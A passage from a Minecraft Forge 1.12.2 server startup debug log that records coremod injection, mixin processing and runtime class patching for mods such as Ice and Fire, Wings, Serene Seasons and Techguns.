net.minecraftforge.fml.common.launcher.FMLInjectionAndSortingTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.FMLInjectionAndSortingTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:46] [main/DEBUG] [FML]: Injecting coremod FMLCorePlugin \{net.minecraftforge.fml.relauncher.FMLCorePlugin\} class transformers [14:27:46] [main/TRACE] [FML]: Registering transformer net.minecraftforge.fml.common.asm.transformers.SideTransformer [14:27:47] [main/DEBUG] [mixin]: Preparing mixins for MixinEnvironment[PREINIT] [14:27:47] [main/TRACE] [FML]: Registering transformer net.minecraftforge.fml.common.asm.transformers.EventSubscriptionTransformer [14:27:47] [main/TRACE] [FML]: Registering transformer net.minecraftforge.fml.common.asm.transformers.EventSubscriberTransformer [14:27:47] [main/TRACE] [FML]: Registering transformer net.minecraftforge.fml.common.asm.transformers.SoundEngineFixTransformer [14:27:47] [main/DEBUG] [FML]: Injection complete [14:27:47] [main/DEBUG] [FML]: Running coremod plugin for FMLCorePlugin \{net.minecraftforge.fml.relauncher.FMLCorePlugin\} [14:27:47] [main/DEBUG] [FML]: Running coremod plugin FMLCorePlugin [14:27:48] [main/DEBUG] [FML]: Read 1145 binary patches [14:27:48] [main/DEBUG] [FML]: Loading deobfuscation resource /deobfuscation_data-1.12.2.lzma with 36083 records [14:27:49] [main/ERROR] [FML]: FML appears to be missing any signature data. This is not a good thing [14:27:49] [main/DEBUG] [FML]: Coremod plugin class FMLCorePlugin run successfully [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:49] [main/DEBUG] [FML]: Injecting coremod FMLForgePlugin \{net.minecraftforge.classloading.FMLForgePlugin\} class transformers [14:27:49] [main/DEBUG] [FML]: Injection complete [14:27:49] [main/DEBUG] [FML]: Running coremod plugin for FMLForgePlugin \{net.minecraftforge.classloading.FMLForgePlugin\} [14:27:49] [main/DEBUG] [FML]: Running coremod plugin FMLForgePlugin [14:27:49] [main/DEBUG] [FML]: Coremod plugin class FMLForgePlugin run successfully [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:49] [main/DEBUG] [FML]: Injecting coremod SSLoadingPlugin \{sereneseasons.asm.SSLoadingPlugin\} class transformers [14:27:49] [main/TRACE] [FML]: Registering transformer sereneseasons.asm.transformer.EntityRendererTransformer [14:27:49] [main/TRACE] [FML]: Registering transformer sereneseasons.asm.transformer.WorldTransformer [14:27:49] [main/DEBUG] [FML]: Injection complete [14:27:49] [main/DEBUG] [FML]: Running coremod plugin for SSLoadingPlugin \{sereneseasons.asm.SSLoadingPlugin\} [14:27:49] [main/DEBUG] [FML]: Running coremod plugin SSLoadingPlugin [14:27:49] [main/DEBUG] [FML]: Coremod plugin class SSLoadingPlugin run successfully [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class org.spongepowered.asm.launch.MixinTweaker [14:27:49] [main/DEBUG] [mixin]: Processing prepare() for PlatformAgent[MixinPlatformAgentFML:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: Processing prepare() for PlatformAgent[MixinPlatformAgentDefault:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: Registering mixin config: mixins.malisiscore.core.json [14:27:49] [main/DEBUG] [mixin]: Processing launch tasks for PlatformAgent[MixinPlatformAgentFML:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: Creating FML remapper adapter: org.spongepowered.asm.bridge.RemapperAdapterFML [14:27:49] [main/INFO] [mixin]: Initialised Mixin FML Remapper Adapter with net.minecraftforge.fml.common.asm.transformers.deobf.FMLDeobfuscatingRemapper@6df7988f [14:27:49] [main/DEBUG] [mixin]: Processing launch tasks for PlatformAgent[MixinPlatformAgentDefault:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/forge.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/CTM-MC1.12.2-1.0.1.30.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/iceandfire-1.8.3.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/SereneSeasons-1.12.2-1.2.18-universal.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/techguns-1.12.2-2.0.2.0_pre3.1.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/wings-1.1.6-1.12.2.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning asmgen:/ for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: inject() running with 1 agents [14:27:49] [main/DEBUG] [mixin]: Processing inject() for PlatformAgent[MixinPlatformAgentFML:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: FML agent is co-initiralising coremod instance MalisisCorePlugin {[]} for file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:49] [main/DEBUG] [FML]: Injecting coremod MalisisCorePlugin \{net.malisis.core.asm.MalisisCorePlugin\} class transformers [14:27:49] [main/DEBUG] [FML]: Injection complete [14:27:49] [main/DEBUG] [FML]: Running coremod plugin for MalisisCorePlugin \{net.malisis.core.asm.MalisisCorePlugin\} [14:27:49] [main/DEBUG] [FML]: Running coremod plugin MalisisCorePlugin [14:27:49] [main/DEBUG] [FML]: Coremod plugin class MalisisCorePlugin run successfully [14:27:49] [main/DEBUG] [mixin]: Processing inject() for PlatformAgent[MixinPlatformAgentDefault:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.FMLDeobfTweaker [14:27:49] [main/DEBUG] [FML]: Loaded 215 rules from AccessTransformer config file forge_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 119 rules from AccessTransformer mod jar file ./mods/iChunUtil-1.12.2-7.2.2.jar!META-INF/iChunUtil_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 13 rules from AccessTransformer mod jar file ./mods/jei_1.12.2-4.15.0.292.jar!META-INF/jei_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 10 rules from AccessTransformer mod jar file ./mods/JustEnoughResources-1.12.2-0.9.2.60.jar!META-INF/jeresources_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 7 rules from AccessTransformer mod jar file ./mods/SereneSeasons-1.12.2-1.2.18-universal.jar!META-INF/sereneseasons_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 11 rules from AccessTransformer mod jar file ./mods/llibrary-1.7.19-1.12.2.jar!META-INF/llibrary_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 14 rules from AccessTransformer mod jar file ./mods/malisiscore-1.12.2-6.5.1.jar!META-INF/malisiscore_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 5 rules from AccessTransformer mod jar file ./mods/CTM-MC1.12.2-1.0.1.30.jar!META-INF/ctm_at.cfg [14:27:49] [main/DEBUG] [mixin]: Adding new mixin transformer proxy #2 [14:27:49] [main/DEBUG] [FML]: Validating minecraft [14:27:49] [main/DEBUG] [mixin]: Preparing mixins for MixinEnvironment[INIT] [14:27:49] [main/DEBUG] [FML]: Minecraft validated, launching... [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:49] [main/DEBUG] [FML]: Injecting coremod llibrary \{net.ilexiconn.llibrary.server.core.plugin.LLibraryPlugin\} class transformers [14:27:49] [main/TRACE] [FML]: Registering transformer net.ilexiconn.llibrary.server.core.plugin.LLibraryTransformer [14:27:49] [main/TRACE] [FML]: Registering transformer net.ilexiconn.llibrary.server.core.patcher.LLibraryRuntimePatcher [14:27:49] [main/DEBUG] [LLibrary Core]: Found runtime patcher net.ilexiconn.llibrary.server.core.patcher.LLibraryRuntimePatcher [14:27:49] [main/DEBUG] [FML]: Injection complete [14:27:49] [main/DEBUG] [FML]: Running coremod plugin for llibrary \{net.ilexiconn.llibrary.server.core.plugin.LLibraryPlugin\} [14:27:49] [main/DEBUG] [FML]: Running coremod plugin llibrary [14:27:49] [main/DEBUG] [FML]: Coremod plugin class LLibraryPlugin run successfully [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:49] [main/DEBUG] [FML]: Injecting coremod iceandfire \{com.github.alexthe666.iceandfire.asm.IceAndFirePlugin\} class transformers [14:27:49] [main/DEBUG] [LLibrary Core]: Found runtime patcher com.github.alexthe666.iceandfire.patcher.IceAndFireRuntimePatcher [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for java/lang/String/format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/minecraft/client/model/ModelBiped/<init>(FZ)V [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/minecraft/client/renderer/entity/RenderPlayer/<init>(Lnet/minecraft/client/renderer/entity/RenderManager;Z)V [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/minecraftforge/client/ForgeHooksClient/handleCameraTransforms(Lnet/minecraft/client/renderer/block/model/IBakedModel;Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;Z)Lnet/minecraft/client/renderer/block/model/IBakedModel; [14:27:50] [main/TRACE] [FML]: Registering transformer com.github.alexthe666.iceandfire.patcher.IceAndFireRuntimePatcher [14:27:50] [main/DEBUG] [FML]: Injection complete [14:27:50] [main/DEBUG] [FML]: Running coremod plugin for iceandfire \{com.github.alexthe666.iceandfire.asm.IceAndFirePlugin\} [14:27:50] [main/DEBUG] [FML]: Running coremod plugin iceandfire [14:27:50] [main/DEBUG] [FML]: Coremod plugin class IceAndFirePlugin run successfully [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:50] [main/DEBUG] [FML]: Injecting coremod wings \{me.paulf.wings.server.asm.plugin.WingsLoadingPlugin\} class transformers [14:27:50] [main/TRACE] [FML]: Registering transformer me.paulf.wings.server.asm.WingsRuntimePatcher [14:27:50] [main/DEBUG] [LLibrary Core]: Found runtime patcher me.paulf.wings.server.asm.WingsRuntimePatcher [14:27:50] [main/TRACE] [FML]: Registering transformer me.paulf.wings.server.asm.mobends.WingsMoBendsRuntimePatcher [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for /()L; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for /()L; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for /()L; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for /()L; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/minecraftforge/client/ForgeHooksClient/shouldCauseReequipAnimation(Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;I)Z [14:27:50] [main/DEBUG] [LLibrary Core]: Found runtime patcher me.paulf.wings.server.asm.mobends.WingsMoBendsRuntimePatcher [14:27:50] [main/DEBUG] [FML]: Injection complete [14:27:50] [main/DEBUG] [FML]: Running coremod plugin for wings \{me.paulf.wings.server.asm.plugin.WingsLoadingPlugin\} [14:27:50] [main/DEBUG] [FML]: Running coremod plugin wings [14:27:50] [main/DEBUG] [FML]: Coremod plugin class WingsLoadingPlugin run successfully [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:50] [main/DEBUG] [FML]: Injecting coremod CTMCorePlugin \{team.chisel.ctm.client.asm.CTMCorePlugin\} class transformers [14:27:50] [main/TRACE] [FML]: Registering transformer team.chisel.ctm.client.asm.CTMTransformer [14:27:50] [main/DEBUG] [FML]: Injection complete [14:27:50] [main/DEBUG] [FML]: Running coremod plugin for CTMCorePlugin \{team.chisel.ctm.client.asm.CTMCorePlugin\} [14:27:50] [main/DEBUG] [FML]: Running coremod plugin CTMCorePlugin [14:27:50] [main/DEBUG] [FML]: Coremod plugin class CTMCorePlugin run successfully [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:50] [main/DEBUG] [FML]: Injecting coremod Techguns Core \{techguns.core.TechgunsFMLPlugin\} class transformers [14:27:50] [main/TRACE] [FML]: Registering transformer techguns.core.TechgunsASMTransformer [14:27:50] [main/DEBUG] [FML]: Injection complete [14:27:50] [main/DEBUG] [FML]: Running coremod plugin for Techguns Core \{techguns.core.TechgunsFMLPlugin\} [14:27:50] [main/DEBUG] [FML]: Running coremod plugin Techguns Core [14:27:50] [main/DEBUG] [FML]: Coremod plugin class TechgunsFMLPlugin run successfully [14:27:50] [main/INFO] [LaunchWrapper]: Loading tweak class name net.minecraftforge.fml.common.launcher.TerminalTweaker [14:27:50] [main/INFO] [LaunchWrapper]: Loading tweak class name org.spongepowered.asm.mixin.EnvironmentStateTweaker [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.TerminalTweaker [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class org.spongepowered.asm.mixin.EnvironmentStateTweaker [14:27:50] [main/DEBUG] [mixin]: Adding new mixin transformer proxy #3 [14:27:50] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/server/MinecraftServer [14:27:50] [main/DEBUG] [LLibrary Core]: Patching method run()V [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/ilexiconn/llibrary/server/core/patcher/LLibraryHooks/getTickRate()J [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/ilexiconn/llibrary/server/core/patcher/LLibraryHooks/getTickRate()J [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/ilexiconn/llibrary/server/core/patcher/LLibraryHooks/getTickRate()J [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/ilexiconn/llibrary/server/core/patcher/LLibraryHooks/getTickRate()J [14:27:50] [main/DEBUG] [mixin]: Preparing mixins for MixinEnvironment[DEFAULT] [14:27:50] [main/DEBUG] [mixin]: Selecting config mixins.malisiscore.core.json [14:27:50] [main/DEBUG] [mixin]: Preparing mixins.malisiscore.core.json (10) [14:27:50] [main/DEBUG] [mixin]: Found name transformer: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Rebuilding transformer delegation list: [14:27:50] [main/DEBUG] [mixin]: Found name transformer: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.PatchingTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.SideTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: $wrapper.net.minecraftforge.fml.common.asm.transformers.EventSubscriptionTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.EventSubscriberTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.SoundEngineFixTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.sereneseasons.asm.transformer.EntityRendererTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.sereneseasons.asm.transformer.WorldTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.AccessTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ModAccessTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemStackTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemBlockTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemBlockSpecialTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.PotionEffectTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.ilexiconn.llibrary.server.core.plugin.LLibraryTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.ilexiconn.llibrary.server.core.patcher.LLibraryRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.com.github.alexthe666.iceandfire.patcher.IceAndFireRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.me.paulf.wings.server.asm.WingsRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.me.paulf.wings.server.asm.mobends.WingsMoBendsRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.team.chisel.ctm.client.asm.CTMTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.techguns.core.TechgunsASMTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: net.minecraftforge.fml.common.asm.transformers.TerminalTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Transformer delegation list created with 20 entries [14:27:50] [main/INFO] [mixin]: A re-entrant transformer '$wrapper.sereneseasons.asm.transformer.WorldTransformer' was detected and will no longer process meta class data [14:27:50] [main/TRACE] [mixin]: Added class metadata for net/minecraft/world/World to metadata cache [14:27:50] [main/DEBUG] [mixin]: Rebuilding transformer delegation list: [14:27:50] [main/DEBUG] [mixin]: Found name transformer: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.PatchingTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.SideTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: $wrapper.net.minecraftforge.fml.common.asm.transformers.EventSubscriptionTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.EventSubscriberTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.SoundEngineFixTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.sereneseasons.asm.transformer.EntityRendererTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: $wrapper.sereneseasons.asm.transformer.WorldTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.AccessTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ModAccessTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemStackTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemBlockTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemBlockSpecialTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.PotionEffectTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.ilexiconn.llibrary.server.core.plugin.LLibraryTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.ilexiconn.llibrary.server.core.patcher.LLibraryRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.com.github.alexthe666.iceandfire.patcher.IceAndFireRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.me.paulf.wings.server.asm.WingsRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.me.paulf.wings.server.asm.mobends.WingsMoBendsRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.team.chisel.ctm.client.asm.CTMTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.techguns.core.TechgunsASMTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: net.minecraftforge.fml.common.asm.transformers.TerminalTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Transformer delegation list created with 19 entries [14:27:50] [main/TRACE] [mixin]: Added class metadata for net/minecraft/world/WorldServer to metadata cache [14:27:50] [main/TRACE] [mixin]: Added class metadata for net/minecraft/world/chunk/Chunk to metadata cache [14:27:50] [main/TRACE] [mixin]: Added class metadata for net/minecraft/item/ItemBlock to metadata cache [14:27:50] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/network/NetHandlerPlayServer [14:27:50] [main/DEBUG] [LLibrary Core]: Patching method func_184338_a(Lnet/minecraft/network/play/client/CPacketVehicleMove;)V [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getFastestEntityMotionSpeed(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getMoveThreshold(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getMoveThreshold(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getMoveThreshold(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getMoveThreshold(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.util.text.TextComponentTranslation. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.util.math.BlockPos. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.tileentity.CommandBlockBaseLogic. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.item.ItemStack. This may cause patch issues [14:27:51] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/network/NetHandlerPlayServer [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_147347_a(Lnet/minecraft/network/play/client/CPacketPlayer;)V [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/network/NetHandlerPlayServer to metadata cache [14:27:51] [main/DEBUG] [mixin]: Prepared 6 mixins in 0.365 sec (60.8ms avg) (0ms load, 196ms transform, 0ms plugin) [14:27:51] [main/DEBUG] [mixin]: Mixing MixinClientNotif$MixinWorld from mixins.malisiscore.core.json into net.minecraft.world.World [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/malisis/core/util/clientnotif/ClientNotificationManager to metadata cache [14:27:51] [main/DEBUG] [mixin]: Mixing MixinChunkCollision$MixinWorld from mixins.malisiscore.core.json into net.minecraft.world.World [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/malisis/core/util/Point to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for org/apache/commons/lang3/tuple/Pair to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for java/io/Serializable to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for java/lang/Comparable to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for java/util/Map$Entry to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/malisis/core/util/chunkcollision/ChunkCollision to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for org/spongepowered/asm/mixin/injection/callback/CallbackInfoReturnable to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/math/BlockPos to metadata cache [14:27:51] [main/INFO] [STDOUT]: [team.chisel.ctm.client.asm.CTMTransformer:preTransform:230]: Transforming Class [net.minecraft.block.Block], Method [getExtendedState] [14:27:51] [main/INFO] [STDOUT]: [team.chisel.ctm.client.asm.CTMTransformer:finishTransform:242]: Transforming net.minecraft.block.Block Finished. [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/block/Block to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for org/spongepowered/asm/mixin/injection/callback/CallbackInfo to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/math/Vec3d to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/math/RayTraceResult to metadata cache [14:27:51] [main/DEBUG] [mixin]: Mixing MixinClientNotif$MixinWorldServer from mixins.malisiscore.core.json into net.minecraft.world.WorldServer [14:27:51] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/entity/player/EntityPlayer [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_184808_cD()V [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onFlightCheck(Lnet/minecraft/entity/player/EntityPlayer;Z)Z [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_71000_j(DDD)V [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onAddFlown(Lnet/minecraft/entity/player/EntityPlayer;DDD)V [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_70047_e()F [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onFlightCheck(Lnet/minecraft/entity/player/EntityPlayer;Z)Z [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_174820_d(ILnet/minecraft/item/ItemStack;)Z [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onReplaceItemSlotCheck(Lnet/minecraft/item/Item;Lnet/minecraft/item/ItemStack;)Z [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.entity.EntityLivingBase. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.entity.Entity. This may cause patch issues [14:27:51] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/entity/EntityLivingBase [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_110146_f(FF)F [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onUpdateBodyRotation(Lnet/minecraft/entity/EntityLivingBase;F)V [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.nbt.NBTTagList. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.entity.player.EntityPlayerMP. This may cause patch issues [14:27:51] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/entity/Entity [14:27:51] [main/INFO] [LaunchWrapper]: Launching wrapped minecraft {net.minecraft.server.MinecraftServer} [14:27:51] [main/INFO] [STDOUT]: [team.chisel.ctm.client.asm.CTMTransformer:preTransform:230]: Transforming Class [net.minecraft.block.Block], Method [getExtendedState] [14:27:51] [main/INFO] [STDOUT]: [team.chisel.ctm.client.asm.CTMTransformer:finishTransform:242]: Transforming net.minecraft.block.Block Finished. [14:27:55] [main/DEBUG] [mixin]: Mixing MixinChunkCollision$MixinItemBlock from mixins.malisiscore.core.json into net.minecraft.item.ItemBlock [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/item/Item to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraftforge/registries/IForgeRegistryEntry$Impl to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/EnumActionResult to metadata cache [14:27:55] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/entity/player/EntityPlayer [14:27:55] [main/DEBUG] [LLibrary Core]: Patching method func_184808_cD()V [14:27:55] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onFlightCheck(Lnet/minecraft/entity/player/EntityPlayer;Z)Z [14:27:55] [main/DEBUG] [LLibrary Core]: Patching method func_71000_j(DDD)V [14:27:55] [main/DEBUG] [LLibrary Core]: Found no method mapping for 